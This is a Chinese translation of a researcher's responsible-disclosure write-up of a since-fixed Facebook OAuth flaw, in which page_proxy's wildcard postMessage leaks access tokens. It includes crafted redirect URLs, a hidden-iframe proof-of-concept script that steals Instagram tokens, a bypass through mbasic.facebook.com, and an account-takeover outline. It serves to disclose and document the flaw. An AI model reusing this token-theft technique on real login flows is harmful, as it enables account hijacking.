我决定分析为什么在使用该“Login with Facebook”
功能时总是感到不安全。由于他们使用了多个重定向URL。但是,要在Facebook中找到一个漏洞并拥有最有才能的安全研究人员,似乎并非易事。要在Facebook OAuth中找到错误,这是非常艰巨和挑战性的。
但是,根据谷歌搜索和StackOverflow的说法,我发现这种方式多年来一直处于脆弱状态,暗示了将近9到10年。
背景
“Login with Facebook”
功能遵循OAuth 2.0授权协议在facebook.com和第三方网站之间交换令牌。该漏洞可能使攻击者劫持OAuth流并窃取他们可以用来接管用户帐户的访问令牌。恶意网站可以同时窃取最常见应用程序的access_token,并且可以访问多种服务的第三方网站。例如Instagram,Oculus,Netflix,Tinder,Spotify等。
概念证明
适用于javascript的Facebook SDK使用"/connect/ping"
终结点发出user_access令牌,并将“XD_Arbiter”
所有应用程序默认设置为白名单的URL重定向到该URL 。在后台,SDK在初始化时会创建用于跨域通信的代理iframe。代理帧通过postMessage()
API 发送回令牌,代码或未经授权的未知状态。这是正常的登录流程网址,
https://www.facebook.com/connect/ping?client_id=APP_ID&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D42%23origin%3Dhttps%253A%252F%252Fwww.domain.com
端点受到了很好的保护,免受先前已知的错误(例如,参数污染,原始验证,重定向(#!)等)的影响。我尝试了很多各种旁路方法,但都不允许使用。那我们该怎么办?没有!
我注意到只有一件事是可以修改的“xd_arbiter.php?v=42”
,“xd_arbiter/?v=42”
除了路径遍历之外,还可以进一步添加更多目录/参数。啊! 首先,从哈希片段中窃取令牌非常困难。在这一点上,我们需要一个代理框架,该框架可以(劫持)为我们完成这项工作,例如API和任何来源“location.hash”
的postMessage()
API “*”
。(跨域消息)
幸运的是,我“page_proxy”
很快发现自己的草稿。
https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.js
“page_proxy”
完全包含我们想要的相同代码。
var frameName = window.location.href.split("#")[1];window.parent.postMessage(frameName,"*");
该资源有一个“EventListener”
属性,如果条件检查未履行请求,那么代码抛出回postMessage()
用“frameName”
的任何来源“*”
这是不正确的配置或恶意代码的做法。
利用代理
剥削“page_proxy”
对我来说并不难。我只是将page_proxy资源附加到xd_arbiter。
https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.js
https://staticxx.facebook.com/connect/xd_arbiter.php?version=42
https://staticxx.facebook.com/connect/xd_arbiter/r/7SWBAvHenEn.js?version=42
在此漏洞流中,有几点很重要。
缺少
“X-Frame-Options”
标题。(完全易碎的流)另外
“window.parent”
,它本身将用户交互保存为零。无需理会window.open或任何按钮的onClick事件。
重写我们的Custom_SDK.js
var app_id = '124024574287414',app_domain = 'www.instagram.com';var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D44%23origin%3Dhttps%253A%252F%252F' + app_domain;var i = document.createElement('iframe');i.setAttribute('id', 'i');i.setAttribute('style', 'display:none;');i.setAttribute('src', exploit_url);document.body.appendChild(i);window.addEventListener('OAuth', function(FB) { alert(FB.data.name);}, !1);
现在,跨域通信已经公开,并且在没有受害者知识的情况下,access_token可能会泄漏到任何来源,从而导致潜在的用户帐户受到损害。
Facebook帐户接管
如果第一方graphql令牌泄漏,则可以查询变异电话以添加并确认新的电话号码以进行帐户恢复。由于它们已列入GraphQL查询的白名单,因此无需进行任何权限检查。即使将隐私控制设置为“仅我”,他们也具有完全的读/写特权,例如消息,照片,视频。
固定
在提交报告的几个小时内,Facebook迅速确认了此问题,并已修复此问题。您可能知道Facebook对此类关键问题的反应。
在
"/connect/ping endpoint"
已被弃用。它已被永久吊销,以为所有应用程序生成access_token。在XD_Arbiter中添加了__d(“ JSSDKConfig”)行,以中断page_proxy中的JS执行。
验证缓解和旁路不足
虽然我们双方都知道OAuth的核心端点“/dialog/oauth/"
仍然使用令牌将其重定向到page_proxy。我告诉他们也要修补这些端点,但作为回应,Facebook说xd_arbiter被列入白名单,并且该团队认为page_proxy资源中的代码更改也可以缓解此问题,因此令牌本身无法泄漏。
2-3天后,我重新访问了page_proxy代码,发现“ __d(“ JSSDKConfig”)”代码行移至底部,并且对的调用postMessage()
能够再次执行。我没有完全分析它们所做的更改,但是我猜想在前面的缓解代码可能会破坏其他资源,甚至仲裁者本身也是如此。这就是代码行移至底部的原因。我立即重建了安装程序。
www.facebook.com并不遵循重定向到xd_arbiter的状态,而是为客户端来源创建了closed_window和postMessage()。(攻击失败)此规则适用于chrome的“ m”,“ mobile”,“ touch”等,但不适用于Firefox。您可能知道Facebook如何在User-Agent和子域之间发挥作用。
输入“ mbasic.facbook.com”域会响应HTTP 302重定向标头,并且适用于所有浏览器。
https://mbasic.facebook.com/dialog/oauth?client_id=124024574287414&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D42%23origin%3Dhttps%253A%252F%252Fwww.instagram.com%252F
固定
不再允许对xd_arbiter进行任何修改/篡改。(仅接受绝对文件路径
"xd_arbiter.php"
)专用于xd_arbiter的所有重定向HTTP状态均被阻止。(mbasic.facebook.com)
在另一个JS资源中添加了正则表达式验证过滤器。
我很高兴能参与向Facebook负责任的披露,并为成功实现我的目标感到高兴。
影响力
由于错误的帖子配置,访问攻击者控制的网站的人可能已经使用Facebook的Oauth流窃取了针对易受攻击的应用程序的第一方访问令牌。
时间线
2019年12月16日–已发送初次报告。
2019年12月16日–确认报告。
2019年12月16日–由Facebook推送修复。
2019年12月23日– Facebook确认修复。
2020年1月3日-已发送绕过。(完整设定)
2020年1月10日-Facebook授予的赏金。
2020年1月10日–绕行确认。
2020年1月10日–修正要求绕行。
2020年1月17日– Facebook确认修复。
2020年2月21日– 55,000美元的合并奖励,由Facebook授予。(客户帐户接管的最高赏金)
翻译自https://www.amolbaikar.com/facebook-oauth-framework-vulnerability/